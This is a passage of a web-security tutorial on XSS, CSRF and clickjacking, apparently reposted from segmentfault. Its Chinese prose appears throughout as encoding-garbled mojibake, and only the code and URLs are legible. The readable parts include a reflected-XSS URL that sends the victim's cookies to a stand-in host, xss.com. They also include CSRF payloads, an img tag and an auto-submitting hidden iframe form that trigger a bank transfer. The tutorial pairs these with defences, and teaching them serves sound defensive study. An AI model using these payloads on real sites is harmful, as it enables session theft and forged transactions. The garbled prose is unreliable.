±à¼ÍƼö: |
±¾ÎÄÀ´×ÔÓÚsegmentfault£¬¹ØÓÚWeb°²È«µÄÎÊÌ⣬ÊÇÒ»¸öÀÏÉú³£Ì¸µÄÎÊÌ⣬×÷ΪÀëÓû§×î½üµÄÒ»²ã£¬ÎÒÃÇ´óǰ¶ËȷʵÐèÒª°ÑÊÖÉìµÄ¸üÔ¶Ò»µã¡£ |
|
ÎÒÃÇ×î³£¼ûµÄWeb°²È«¹¥»÷ÓÐÒÔϼ¸ÖÖ
1.XSS ¿çÕ¾½Å±¾¹¥»÷
2.CSRF ¿çÕ¾ÇëÇóαÔì
3.clickjacking µã»÷½Ù³Ö/UI-¸²¸Ç¹¥»÷
ÏÂÃæÎÒÃÇÀ´Ò»Ò»·ÖÎö
XSS ¿çÕ¾½Å±¾¹¥»÷
¿çÕ¾½Å±¾¹¥»÷£¨Cross Site Scripting£©£¬ÎªÁ˲»ºÍ²ãµþÑùʽ±í£¨Cascading Style
Sheets, CSS£©µÄËõд»ìÏý£¬¹Ê½«¿çÕ¾½Å±¾¹¥»÷ËõдΪXSS¡£¶ñÒâ¹¥»÷ÕßÍùWebÒ³ÃæÀï²åÈë¶ñÒâScript´úÂ룬µ±Óû§ä¯ÀÀ¸Ãҳ֮ʱ£¬Ç¶ÈëÆäÖÐWebÀïÃæµÄScript´úÂë»á±»Ö´ÐУ¬´Ó¶ø´ïµ½¶ñÒâ¹¥»÷Óû§µÄÄ¿µÄ¡£
·ÖÀà
1.Reflected XSS£¨»ùÓÚ·´ÉäµÄXSS¹¥»÷£©
2.Stored XSS£¨»ùÓÚ´æ´¢µÄXSS¹¥»÷£©
3.DOM-based or local XSS£¨»ùÓÚDOM»ò±¾µØµÄXSS¹¥»÷£©
Reflected XSS£¨»ùÓÚ·´ÉäµÄXSS¹¥»÷£©
Ö÷Ҫͨ¹ýÀûÓÃϵͳ·´À¡ÐÐΪ©¶´£¬²¢ÆÛÆÓû§Ö÷¶¯´¥·¢£¬´Ó¶ø·¢ÆðWeb¹¥»÷¡£
¾Ù¸öÀõ×Ó£º
1- ¼ÙÉ裬ÔÚÑÏÑ¡ÍøÕ¾ËÑË÷ÉÌÆ·£¬µ±ËÑË÷²»µ½Ê±Õ¾µã»á×ö¡°xxxδÉϼÜÌáʾ¡±¡£ÈçÏÂͼ¡£

2- ÔÚËÑË÷¿òËÑË÷ÄÚÈÝ£¬ÌîÈë¡°<script>alert('xss')</script>¡±,
µã»÷ËÑË÷¡£
3- µ±Ç°¶ËÒ³ÃæÃ»ÓжÔÌîÈëµÄÊý¾Ý½øÐйýÂË£¬Ö±½ÓÏÔʾÔÚÒ³ÃæÉÏ£¬ Õâʱ¾Í»áalertÄǸö×Ö·û´®³öÀ´¡£

£¨µ±È»ÉÏͼÊÇÄ£ÄâµÄ£©
ÒÔÉÏ3²½Ö»ÊÇ¡°×ÔÓé×ÔÀÖ¡±£¬XSS×î¹Ø¼üµÄÊǵÚËIJ½¡£
4- ½ø¶ø¿ÉÒÔ¹¹Ôì»ñÈ¡Óû§cookiesµÄµØÖ·£¬Í¨¹ýQQȺ»òÕßÀ¬»øÓʼþ£¬À´ÈÃÆäËûÈ˵ã»÷Õâ¸öµØÖ·£º
http://you.163.com/search?keyword=<script>document.
location='http://xss.com/get?cookie='+document.cookie</script> |
5- Èç¹ûÊÜÆµÄÓû§¸ÕºÃÒѾµÇ¼¹ýÑÏÑ¡ÍøÕ¾£¬ÄÇô£¬Óû§µÄµÇ¼cookieÐÅÏ¢¾ÍÒѾ·¢µ½Á˹¥»÷ÕߵķþÎñÆ÷£¨xss.com£©ÁË¡£µ±È»£¬¹¥»÷Õß»á×öһЩ¸ü¹ý·ÖµÄ²Ù×÷¡£
Stored XSS£¨»ùÓÚ´æ´¢µÄXSS¹¥»÷£©
Stored XSSºÍReflected XSSµÄ²î±ð¾ÍÔÚÓÚ£¬¾ßÓй¥»÷ÐԵĽű¾±»±£´æµ½ÁË·þÎñÆ÷²¢ÇÒ¿ÉÒÔ±»ÆÕͨÓû§ÍêÕûµÄ´Ó·þÎñµÄÈ¡µÃ²¢Ö´ÐУ¬´Ó¶ø»ñµÃÁËÔÚÍøÂçÉÏ´«²¥µÄÄÜÁ¦¡£
ÔپٸöÀõ×Ó£º
1- ·¢Ò»ÆªÎÄÕ£¬ÀïÃæ°üº¬Á˶ñÒâ½Å±¾
ÄãºÃ£¡µ±Äã¿´µ½Õâ¶ÎÎÄ×Öʱ£¬ÄãµÄÐÅÏ¢ÒѾ²»°²È«ÁË£¡<script>alert('xss')</script> |
2- ºó¶ËûÓжÔÎÄÕ½øÐйýÂË£¬Ö±½Ó±£´æÎÄÕÂÄÚÈݵ½Êý¾Ý¿â¡£
3- µ±ÆäËû¶ÁÕß¿´ÕâÆªÎÄÕµÄʱºò£¬°üº¬µÄ¶ñÒâ½Å±¾¾Í»áÖ´ÐС£
tips£ºÎÄÕÂÊDZ£´æÕû¸öHTMLÄÚÈݵģ¬Ç°¶ËÏÔʾʱºòÒ²²»×ö¹ýÂË£¬¾Í¼«¿ÉÄܳöÏÖÕâÖÖÇé¿ö¡£
Èç¹ûÎÒÃǵIJÙ×÷²»½ö½öÊǵ¯³öÒ»¸öÐÅÏ¢£¬¶øÇÒɾ³ýһƪÎÄÕ£¬·¢Ò»Æª·´¶¯µÄÎÄÕ£¬»òÕß³ÉΪÎҵķÛË¿²¢ÇÒ½«ÕâÆª´øÓжñÒâ½Å±¾µÄÎÄÕÂת·¢£¬ÕâÑùÊDz»ÊǾ;ßÓÐÁ˹¥»÷ÐÔ¡£
DOM-based or local XSS£¨»ùÓÚDOM»ò±¾µØµÄXSS¹¥»÷£©
DOM£¬È«³ÆDocument Object Model£¬ÊÇÒ»¸öƽ̨ºÍÓïÑÔ¶¼ÖÐÁ¢µÄ½Ó¿Ú£¬¿ÉÒÔʹ³ÌÐòºÍ½Å±¾Äܹ»¶¯Ì¬·ÃÎʺ͸üÐÂÎĵµµÄÄÚÈÝ¡¢½á¹¹ÒÔ¼°Ñùʽ¡£
DOMÐÍXSSÆäʵÊÇÒ»ÖÖÌØÊâÀàÐ͵ķ´ÉäÐÍXSS£¬ËüÊÇ»ùÓÚDOMÎĵµ¶ÔÏóÄ£Ð͵ÄÒ»ÖÖ©¶´¡£¿ÉÒÔͨ¹ýDOMÀ´¶¯Ì¬ÐÞ¸ÄÒ³ÃæÄÚÈÝ£¬´Ó¿Í»§¶Ë»ñÈ¡DOMÖеÄÊý¾Ý²¢ÔÚ±¾µØÖ´ÐС£»ùÓÚÕâ¸öÌØÐÔ£¬¾Í¿ÉÒÔÀûÓÃJS½Å±¾À´ÊµÏÖXSS©¶´µÄÀûÓá£
¿ÉÄÜ´¥·¢DOMÐÍXSSµÄÊôÐÔ£º
1.document.refererÊôÐÔ
2.window.nameÊôÐÔ
3.locationÊôÐÔ
4.innerHTMLÊôÐÔ
5.documen.writeÊôÐÔ
¡¤¡¤¡¤¡¤¡¤¡¤
×ܽá
XSS¹¥»÷µÄ±¾ÖʾÍÊÇ£¬ÀûÓÃÒ»ÇÐÊÖ¶ÎÔÚÄ¿±êÓû§µÄä¯ÀÀÆ÷ÖÐÖ´Ðй¥»÷½Å±¾¡£
·À·¶
¶ÔÓÚÒ»ÇÐÓû§µÄÊäÈë¡¢Êä³ö¡¢¿Í»§¶ËµÄÊä³öÄÚÈÝÊÓΪ²»¿ÉÐÅ£¬ÔÚÊý¾ÝÌí¼Óµ½DOM»òÕßÖ´ÐÐÁËDOM APIµÄʱºò£¬ÎÒÃÇÐèÒª¶ÔÄÚÈݽøÐÐHtmlEncode»òJavaScriptEncode£¬ÒÔÔ¤·ÀXSS¹¥»÷¡£
CSRF ¿çÕ¾ÇëÇóαÔì
CSRF£¨Cross-site request forgery£©¿çÕ¾ÇëÇóαÔ죬Ҳ±»³ÆÎª¡°One Click
Attack¡±»òÕßSession Riding£¬Í¨³£ËõдΪCSRF»òÕßXSRF£¬ÊÇÒ»ÖÖ¶ÔÍøÕ¾µÄ¶ñÒâÀûÓ᣾¡¹ÜÌýÆðÀ´Ïñ¿çÕ¾½Å±¾£¨XSS£©£¬µ«ËüÓëXSS·Ç³£²»Í¬£¬XSSÀûÓÃÕ¾µãÄÚµÄÐÅÈÎÓû§£¬¶øCSRFÔòͨ¹ýαװÀ´×ÔÊÜÐÅÈÎÓû§µÄÇëÇóÀ´ÀûÓÃÊÜÐÅÈεÄÍøÕ¾¡£ÓëXSS¹¥»÷Ïà±È£¬CSRF¹¥»÷ÍùÍù²»´óÁ÷ÐУ¨Òò´Ë¶ÔÆä½øÐзÀ·¶µÄ×ÊÔ´Ò²Ï൱ϡÉÙ£©ºÍÄÑÒÔ·À·¶£¬ËùÒÔ±»ÈÏΪ±ÈXSS¸ü¾ßΣÏÕÐÔ¡£µ«ÍùÍùͬXSSһͬ×÷°¸£¡
´ËϵÄÏê½â²¿·Öת×ÔhydddµÄ²©ÎÄhttp://www.cnblogs.com/hyddd/...£¬Ê¾ÀýдµÄºÜÔ޾Ͳ¿·ÖÌܳÖÁ´Ë£¬²¢×öÁËÒ»¶¨µÄÐ޸ģ¬Ïò×÷ÕßhydddÖ¾´&ÖÂл¡£
CSRF¿ÉÒÔ×öʲô£¿
ÄãÕâ¿ÉÒÔÕâôÀí½âCSRF¹¥»÷£º¹¥»÷ÕßµÁÓÃÁËÄãµÄÉí·Ý£¬ÒÔÄãµÄÃûÒå·¢ËͶñÒâÇëÇó¡£CSRFÄܹ»×öµÄÊÂÇé°üÀ¨£ºÒÔÄãÃûÒå·¢ËÍÓʼþ£¬·¢ÏûÏ¢£¬µÁÈ¡ÄãµÄÕ˺ţ¬ÉõÖÁÓÚ¹ºÂòÉÌÆ·£¬ÐéÄâ»õ±ÒתÕË......Ôì³ÉµÄÎÊÌâ°üÀ¨£º¸öÈËÒþ˽й¶ÒÔ¼°²Æ²ú°²È«¡£
CSRF©¶´ÏÖ×´
CSRFÕâÖÖ¹¥»÷·½Ê½ÔÚ2000ÄêÒѾ±»¹úÍâµÄ°²È«ÈËÔ±Ìá³ö£¬µ«ÔÚ¹úÄÚ£¬Ö±µ½06Äê²Å¿ªÊ¼±»¹Ø×¢£¬08Ä꣬¹úÄÚÍâµÄ¶à¸ö´óÐÍÉçÇøºÍ½»»¥ÍøÕ¾·Ö±ð±¬³öCSRF©¶´£¬È磺NYTimes.com£¨Å¦Ô¼Ê±±¨£©¡¢Metafilter£¨Ò»¸ö´óÐ͵ÄBLOGÍøÕ¾£©£¬YouTubeºÍ°Ù¶ÈHI......¶øÏÖÔÚ£¬»¥ÁªÍøÉϵÄÐí¶àÕ¾µãÈԶԴ˺ÁÎÞ·À±¸£¬ÒÔÖÁÓÚ°²È«Òµ½ç³ÆCSRFΪ¡°³Á˯µÄ¾ÞÈË¡±¡£
CSRFµÄÔÀí
ÏÂͼ¼òµ¥²ûÊöÁËCSRF¹¥»÷µÄ˼Ï룺

´ÓÉÏͼ¿ÉÒÔ¿´³ö£¬ÒªÍê³ÉÒ»´ÎCSRF¹¥»÷£¬Êܺ¦Õß±ØÐëÒÀ´ÎÍê³ÉÁ½¸ö²½Ö裺
1.µÇ¼ÊÜÐÅÈÎÍøÕ¾A£¬²¢ÔÚ±¾µØÉú³ÉCookie¡£
2.ÔÚ²»µÇ³öAµÄÇé¿öÏ£¬·ÃÎÊΣÏÕÍøÕ¾B¡£
¿´µ½ÕâÀÄãÒ²Ðí»á˵£º¡°Èç¹ûÎÒ²»Âú×ãÒÔÉÏÁ½¸öÌõ¼þÖеÄÒ»¸ö£¬ÎҾͲ»»áÊܵ½CSRFµÄ¹¥»÷¡±¡£Êǵģ¬È·ÊµÈç´Ë£¬µ«Äã²»Äܱ£Ö¤ÒÔÏÂÇé¿ö²»»á·¢Éú£º
1.Äã²»Äܱ£Ö¤ÄãµÇ¼ÁËÒ»¸öÍøÕ¾ºó£¬²»ÔÙ´ò¿ªÒ»¸ötabÒ³Ãæ²¢·ÃÎÊÁíÍâµÄÍøÕ¾¡£
2.Äã²»Äܱ£Ö¤Äã¹Ø±Õä¯ÀÀÆ÷Á˺ó£¬Äã±¾µØµÄCookieÁ¢¿Ì¹ýÆÚ£¬ÄãÉϴεĻỰÒѾ½áÊø¡££¨ÊÂʵÉÏ£¬¹Ø±Õä¯ÀÀÆ÷²»ÄܽáÊøÒ»¸ö»á»°£¬µ«´ó¶àÊýÈ˶¼»á´íÎóµÄÈÏΪ¹Ø±Õä¯ÀÀÆ÷¾ÍµÈÓÚÍ˳öµÇ¼/½áÊø»á»°ÁË......£©
3.ÉÏͼÖÐËùνµÄ¹¥»÷ÍøÕ¾£¬¿ÉÄÜÊÇÒ»¸ö´æÔÚÆäËû©¶´µÄ¿ÉÐÅÈεľ³£±»ÈË·ÃÎʵÄÍøÕ¾¡£
ʾÀý
ÉÏÃæ´ó¸ÅµØ½²ÁËÒ»ÏÂCSRF¹¥»÷µÄ˼Ï룬ÏÂÃæÎÒ½«Óü¸¸öÀý×ÓÏêϸ˵˵¾ßÌåµÄCSRF¹¥»÷£¬ÕâÀïÎÒÒÔÒ»¸öÒøÐÐתÕ˵IJÙ×÷×÷ΪÀý×Ó£¨½ö½öÊÇÀý×Ó£¬ÕæÊµµÄÒøÐÐÍøÕ¾Ã»Õâôɵ:>£©
ʾÀý1
ÒøÐÐÍøÕ¾A£¬ËüÒÔGETÇëÇóÀ´Íê³ÉÒøÐÐתÕ˵IJÙ×÷£¬È磺http://www.mybank.com/Transfe...
ΣÏÕÍøÕ¾B£¬ËüÀïÃæÓÐÒ»¶ÎHTMLµÄ´úÂëÈçÏ£º
<img
src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000> |
Ê×ÏÈ£¬ÄãµÇ¼ÁËÒøÐÐÍøÕ¾A£¬È»ºó·ÃÎÊΣÏÕÍøÕ¾B£¬àÞ£¬ÕâʱÄã»á·¢ÏÖÄãµÄÒøÐÐÕË»§ÉÙÁË1000¿é......
Ϊʲô»áÕâÑùÄØ£¿ÔÒòÊÇÒøÐÐÍøÕ¾AÎ¥·´ÁËHTTP¹æ·¶£¬Ê¹ÓÃGETÇëÇó¸üÐÂ×ÊÔ´¡£ÔÚ·ÃÎÊΣÏÕÍøÕ¾BµÄ֮ǰ£¬ÄãÒѾµÇ¼ÁËÒøÐÐÍøÕ¾A£¬¶øBÖеÄ<img>ÒÔGETµÄ·½Ê½ÇëÇóµÚÈý·½×ÊÔ´£¨ÕâÀïµÄµÚÈý·½¾ÍÊÇÖ¸ÒøÐÐÍøÕ¾ÁË£¬Ô±¾ÕâÊÇÒ»¸öºÏ·¨µÄÇëÇ󣬵«ÕâÀï±»²»·¨·Ö×ÓÀûÓÃÁË£©£¬ËùÒÔÄãµÄä¯ÀÀÆ÷»á´øÉÏÄãµÄÒøÐÐÍøÕ¾AµÄCookie·¢³öGetÇëÇó£¬È¥»ñÈ¡×ÊÔ´
http://www.mybank.com/Transfer.php?toBankId=11&money=1000 |
½á¹ûÒøÐÐÍøÕ¾·þÎñÆ÷ÊÕµ½ÇëÇóºó£¬ÈÏΪÕâÊÇÒ»¸ö¸üÐÂ×ÊÔ´²Ù×÷£¨×ªÕ˲Ù×÷£©£¬ËùÒÔ¾ÍÁ¢¿Ì½øÐÐתÕ˲Ù×÷......
ʾÀý2
ΪÁ˶žøÉÏÃæµÄÎÊÌâ£¬ÒøÐоö¶¨¸ÄÓÃPOSTÇëÇóÍê³ÉתÕ˲Ù×÷¡£
ÒøÐÐÍøÕ¾AµÄWEB±íµ¥ÈçÏ£º
<form
action="Transfer.php" method="POST">
<p>ToBankId: <input type="text"
name="toBankId" /></p>
<p>Money: <input type="text"
name="money" /></p>
<p><input type="submit" value="Transfer"
/></p>
</form> |
ºǫ́´¦ÀíÒ³ÃæTransfer.phpÈçÏ£º
<?php
¡¡¡¡¡¡¡¡session_start();
¡¡¡¡¡¡¡¡if (isset($_REQUEST['toBankId'] &&¡¡isset($_REQUEST['money']))
¡¡¡¡¡¡¡¡{
¡¡¡¡¡¡¡¡ buy_stocks($_REQUEST['toBankId'],¡¡$_REQUEST['money']);
¡¡¡¡¡¡¡¡}
?> |
ΣÏÕÍøÕ¾B£¬ÈÔȻֻÊǰüº¬ÄǾäHTML´úÂ룺
<img
src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000> |
ºÍʾÀý1ÖеIJÙ×÷Ò»Ñù£¬ÄãÊ×ÏȵǼÁËÒøÐÐÍøÕ¾A£¬È»ºó·ÃÎÊΣÏÕÍøÕ¾B£¬½á¹û.....ºÍʾÀý1Ò»Ñù£¬ÄãÔÙ´ÎûÁË1000¿é¡«T_T£¬Õâ´ÎʹʵÄÔÒòÊÇ£ºÒøÐкǫ́ʹÓÃÁË$_REQUESTÈ¥»ñÈ¡ÇëÇóµÄÊý¾Ý£¬¶ø$_REQUEST¼È¿ÉÒÔ»ñÈ¡GETÇëÇóµÄÊý¾Ý£¬Ò²¿ÉÒÔ»ñÈ¡POSTÇëÇóµÄÊý¾Ý£¬Õâ¾ÍÔì³ÉÁËÔÚºǫ́´¦Àí³ÌÐòÎÞ·¨Çø·ÖÕâµ½µ×ÊÇGETÇëÇóµÄÊý¾Ý»¹ÊÇPOSTÇëÇóµÄÊý¾Ý¡£ÔÚPHPÖУ¬¿ÉÒÔʹÓÃ$_GETºÍ$_POST·Ö±ð»ñÈ¡GETÇëÇóºÍPOSTÇëÇóµÄÊý¾Ý¡£ÔÚJAVAÖУ¬ÓÃÓÚ»ñÈ¡ÇëÇóÊý¾ÝrequestÒ»Ñù´æÔÚ²»ÄÜÇø·ÖGETÇëÇóÊý¾ÝºÍPOSTÊý¾ÝµÄÎÊÌâ¡£
ʾÀý3
¾¹ýÇ°Ãæ2¸ö²ÒÍ´µÄ½Ìѵ£¬ÒøÐоö¶¨°Ñ»ñÈ¡ÇëÇóÊý¾ÝµÄ·½·¨Ò²¸ÄÁË£¬¸ÄÓÃ$_POST£¬Ö»»ñÈ¡POSTÇëÇóµÄÊý¾Ý£¬ºǫ́´¦ÀíÒ³ÃæTransfer.php´úÂëÈçÏ£º
<?php
¡¡¡¡¡¡¡¡session_start();
¡¡¡¡¡¡¡¡if (isset($_POST['toBankId'] &&¡¡isset($_POST['money']))
¡¡¡¡¡¡¡¡{
¡¡¡¡¡¡¡¡ buy_stocks($_POST['toBankId'],¡¡$_POST['money']);
¡¡¡¡¡¡¡¡}
¡¡¡¡?> |
¡¡¡¡È»¶ø£¬Î£ÏÕÍøÕ¾BÓëʱ¾ã½ø£¬Ëü¸ÄÁËһϴúÂ룺
<html>
¡¡¡¡<head>
¡¡¡¡¡¡¡¡<script type="text/javascript">
¡¡¡¡¡¡¡¡¡¡¡¡function steal()
¡¡¡¡¡¡¡¡¡¡¡¡{
¡¡¡¡¡¡¡¡ iframe = document.frames["steal"];
¡¡¡¡ ¡¡¡¡ iframe.document.Submit("transfer");
¡¡¡¡¡¡¡¡¡¡¡¡}
¡¡¡¡¡¡¡¡</script>
¡¡¡¡</head>
¡¡¡¡<body onload="steal()">
¡¡¡¡¡¡¡¡<iframe name="steal" display="none">
¡¡¡¡¡¡¡¡¡¡¡¡<form method="POST" name="transfer"¡¡action="http://www.myBank.com/Transfer.php">
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡<input type="hidden" name="toBankId"
value="11">
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡<input type="hidden" name="money"
value="1000">
¡¡¡¡¡¡¡¡¡¡¡¡</form>
¡¡¡¡¡¡¡¡</iframe>
¡¡¡¡</body>
</html> |
¡¡
Èç¹ûÓû§ÈÔÊǼÌÐøÉÏÃæµÄ²Ù×÷£¬ºÜ²»ÐÒ£¬½á¹û½«»áÊÇÔٴβ»¼û1000¿é......ÒòΪÕâÀïΣÏÕÍøÕ¾B°µµØÀï·¢ËÍÁËPOSTÇëÇóµ½ÒøÐÐ!
×ܽáÒ»ÏÂÉÏÃæ3¸öÀý×Ó£¬CSRFÖ÷ÒªµÄ¹¥»÷ģʽ»ù±¾ÉÏÊÇÒÔÉϵÄ3ÖÖ£¬ÆäÖÐÒÔµÚ1,2ÖÖ×îΪÑÏÖØ£¬ÒòΪ´¥·¢Ìõ¼þºÜ¼òµ¥£¬Ò»¸ö<img>¾Í¿ÉÒÔÁË£¬¶øµÚ3ÖֱȽÏÂé·³£¬ÐèҪʹÓÃJavaScript£¬ËùÒÔʹÓõĻú»á»á±ÈÇ°ÃæµÄÉٺܶ࣬µ«ÎÞÂÛÊÇÄÄÖÖÇé¿ö£¬Ö»Òª´¥·¢ÁËCSRF¹¥»÷£¬ºó¹û¶¼ÓпÉÄܺÜÑÏÖØ¡£
Àí½âÉÏÃæµÄ3ÖÖ¹¥»÷ģʽ£¬Æäʵ¿ÉÒÔ¿´³ö£¬CSRF¹¥»÷ÊÇÔ´ÓÚWEBµÄÒþʽÉí·ÝÑéÖ¤»úÖÆ£¡WEBµÄÉí·ÝÑéÖ¤»úÖÆËäÈ»¿ÉÒÔ±£Ö¤Ò»¸öÇëÇóÊÇÀ´×ÔÓÚij¸öÓû§µÄä¯ÀÀÆ÷£¬µ«È´ÎÞ·¨±£Ö¤¸ÃÇëÇóÊÇÓû§Åú×¼·¢Ë͵ģ¡
µ±Ç°·ÀÓù CSRF µÄ¼¸ÖÖ²ßÂÔ
ÔÚÒµ½çĿǰ·ÀÓù CSRF ¹¥»÷Ö÷ÒªÓÐÈýÖÖ²ßÂÔ£ºÑéÖ¤ HTTP Referer ×ֶΣ»ÔÚÇëÇóµØÖ·ÖÐÌí¼Ó
token ²¢ÑéÖ¤£»ÔÚ HTTP Í·ÖÐ×Ô¶¨ÒåÊôÐÔ²¢ÑéÖ¤¡£ÏÂÃæ¾Í·Ö±ð¶ÔÕâÈýÖÖ²ßÂÔ½øÐÐÏêϸ½éÉÜ¡£
ÑéÖ¤ HTTP Referer ×Ö¶Î
ÀûÓÃHTTPÍ·ÖеÄRefererÅжÏÇëÇóÀ´Ô´ÊÇ·ñºÏ·¨¡£
Óŵ㣺¼òµ¥Ò×ÐУ¬Ö»ÐèÒªÔÚ×îºó¸øËùÓа²È«Ãô¸ÐµÄÇëÇóͳһÔö¼ÓÒ»¸öÀ¹½ØÆ÷À´¼ì²é Referer µÄÖµ¾Í¿ÉÒÔ¡£ÌرðÊǶÔÓÚµ±Ç°ÏÖÓеÄϵͳ£¬²»ÐèÒª¸Ä±äµ±Ç°ÏµÍ³µÄÈκÎÒÑÓдúÂëºÍÂß¼£¬Ã»ÓзçÏÕ£¬·Ç³£±ã½Ý¡£
ȱµã£º
1¡¢Referer µÄÖµÊÇÓÉä¯ÀÀÆ÷ÌṩµÄ£¬²»¿ÉÈ«ÐÅ£¬µÍ°æ±¾ä¯ÀÀÆ÷ÏÂReferer´æÔÚαÔì·çÏÕ¡£
2¡¢Óû§×Ô¼º¿ÉÒÔÉèÖÃä¯ÀÀÆ÷ʹÆäÔÚ·¢ËÍÇëÇóʱ²»ÔÙÌṩ Refererʱ£¬ÍøÕ¾½«¾Ü¾øºÏ·¨Óû§µÄ·ÃÎÊ¡£
ÔÚÇëÇóµØÖ·ÖÐÌí¼Ó token ²¢ÑéÖ¤
ÔÚÇëÇóÖзÅÈëºÚ¿ÍËù²»ÄÜαÔìµÄÐÅÏ¢£¬²¢ÇÒ¸ÃÐÅÏ¢²»´æÔÚÓÚ cookie Ö®ÖУ¬ÒÔHTTPÇëÇó²ÎÊýµÄÐÎʽ¼ÓÈëÒ»¸öËæ»ú²úÉúµÄ
token½»ÓÉ·þÎñ¶ËÑéÖ¤
Óŵ㣺±È¼ì²é Referer Òª°²È«Ò»Ð©£¬²¢ÇÒ²»Éæ¼°Óû§Òþ˽¡£
ȱµã£º¶ÔËùÓÐÇëÇó¶¼Ìí¼Ótoken±È½ÏÀ§ÄÑ£¬ÄÑÒÔ±£Ö¤ token ±¾ÉíµÄ°²È«£¬ÒÀÈ»»á±»ÀûÓûñÈ¡µ½token
ÔÚ HTTP Í·ÖÐ×Ô¶¨ÒåÊôÐÔ²¢ÑéÖ¤+One-Time Tokens
½«token·Åµ½ HTTP Í·ÖÐ×Ô¶¨ÒåµÄÊôÐÔÀͨ¹ý XMLHttpRequest µÄÒì²½ÇëÇó½»Óɺó¶ËУÑ飬²¢ÇÒÒ»´ÎÓÐЧ¡£
Óŵ㣺ͳһ¹ÜÀítokenÊäÈëÊä³ö£¬¿ÉÒÔ±£Ö¤tokenµÄ°²È«ÐÔ
ȱµã£ºÓоÖÏÞÐÔ£¬ÎÞ·¨ÔÚ·ÇÒì²½µÄÇëÇóÉÏʵʩ
µã»÷½Ù³Ö
µã»÷½Ù³Ö£¬Ó¢ÎÄÃûclickjacking£¬Ò²½ÐUI¸²¸Ç¹¥»÷£¬¹¥»÷Õß»áÀûÓÃÒ»¸ö»ò¶à¸ö͸Ã÷»ò²»Í¸Ã÷µÄ²ãÀ´ÓÕÆÓû§Ö§³Öµã»÷°´Å¥µÄ²Ù×÷£¬¶øÊµ¼ÊµÄµã»÷ȷʵÓû§¿´²»µ½µÄÒ»¸ö°´Å¥£¬´Ó¶ø´ïµ½ÔÚÓû§²»ÖªÇéµÄÇé¿öÏÂʵʩ¹¥»÷¡£
ÕâÖÖ¹¥»÷·½Ê½µÄ¹Ø¼üÔÚÓÚ¿ÉÒÔʵÏÖÒ³ÖÐÒ³µÄ<iframe />±êÇ©£¬²¢ÇÒ¿ÉÒÔʹÓÃcssÑùʽ±í½«Ëû²»¿É¼û

ÈçÒÔÉÏʾÒâͼµÄÀ¶É«²ã£¬¹¥»÷Õß»áͨ¹ýÒ»¶¨µÄÊÖ¶ÎÓÕ»óÓû§¡°ÔÚºìÉ«²ã¡±ÊäÈëÐÅÏ¢£¬µ«Óû§Êµ¼ÊÉÏʵÔÚÀ¶É«²ãÖУ¬ÒÔ´Ë×öÆÛÆÐÐΪ¡£
ÄÃÖ§¸¶±¦×ö¸öÀõ×Ó

ÉÏͼÊÇÖ§¸¶±¦ÊÖ»ú»°·Ñ³äÖµµÄ½çÃæ¡£
ÔÙ¿´¿´Ò»Ï½çÃæ

Êǵģ¬Õâ¸öÊÇÎÒαÔìµÄ£¬Èç¹ûÎÒ½«ÕæÕýµÄ³äÖµÕ¾µãÒþ²ØÔڴ˽çÃæÉÏ·½¡£ÎÒÏ룬´ÏÃ÷µÄÄãÒѾ֪µÀclickjackingµÄΣÏÕÐÔÁË¡£

ÉÏͼÎÒ¹À¼Æ×öÁËһϴíλºÍ½µµÍ͸Ã÷¶È£¬ÊDz»ÊǺÜÓÐÒâË¼ÄØ£¿ÉµÉµ·Ö²»ÇåµÄÓû§»¹ÒÔΪÊÇÁìÈ¡Á˽±Æ·£¬ÆäʵÊǸøÄ°ÉúÈ˳äÖµÁË»°·Ñ¡£
ÕâÖÖ·½·¨×î³£¼ûµÄ¹¥»÷³¡¾°ÊÇαÔìÒ»Ð©ÍøÕ¾µÁÈ¡ÕʺÅÐÅÏ¢£¬ÈçÖ§¸¶±¦¡¢QQ¡¢ÍøÒ×ÕʺŵÈÕʺŵÄÕËÃÜ



Ŀǰ£¬clickjacking»¹Ëã±È½ÏÀäÃÅ£¬ºÜ¶à°²È«Òâʶ²»Ç¿µÄÍøÕ¾»¹Î´×ÅÊÖ×öclickjackingµÄ·À·¶¡£ÕâÊǺÜΣÏյġ£
·À·¶
·ÀÖ¹µã»÷½Ù³ÖÓÐÁ½ÖÖÖ÷Òª·½·¨£º
X-FRAME-OPTIONS
X-FRAME-OPTIONSÊÇ΢ÈíÌá³öµÄÒ»¸öhttpÍ·£¬Ö¸Ê¾ä¯ÀÀÆ÷²»ÔÊÐí´ÓÆäËûÓò½øÐÐÈ¡¾°£¬×¨ÃÅÓÃÀ´·ÀÓùÀûÓÃiframeǶÌ׵ĵã»÷½Ù³Ö¹¥»÷¡£²¢ÇÒÔÚIE8¡¢Firefox3.6¡¢Chrome4ÒÔÉϵİ汾¾ùÄܺܺõÄÖ§³Ö¡£
Õâ¸öÍ·ÓÐÈý¸öÖµ£º
1.DENY // ¾Ü¾øÈκÎÓò¼ÓÔØ
2.SAMEORIGIN // ÔÊÐíͬԴÓòϼÓÔØ
3.ALLOW-FROM // ¿ÉÒÔ¶¨ÒåÔÊÐíframe¼ÓÔØµÄÒ³ÃæµØÖ·
¶¥²ãÅжÏ
ÔÚUIÖвÉÓ÷ÀÓùÐÔ´úÂ룬ÒÔÈ·±£µ±Ç°Ö¡ÊÇ×î¶¥²ãµÄ´°¿Ú
·½·¨ÓжàÖУ¬Èç
top
!= self || top.location != self.location ||
top.location != location |
|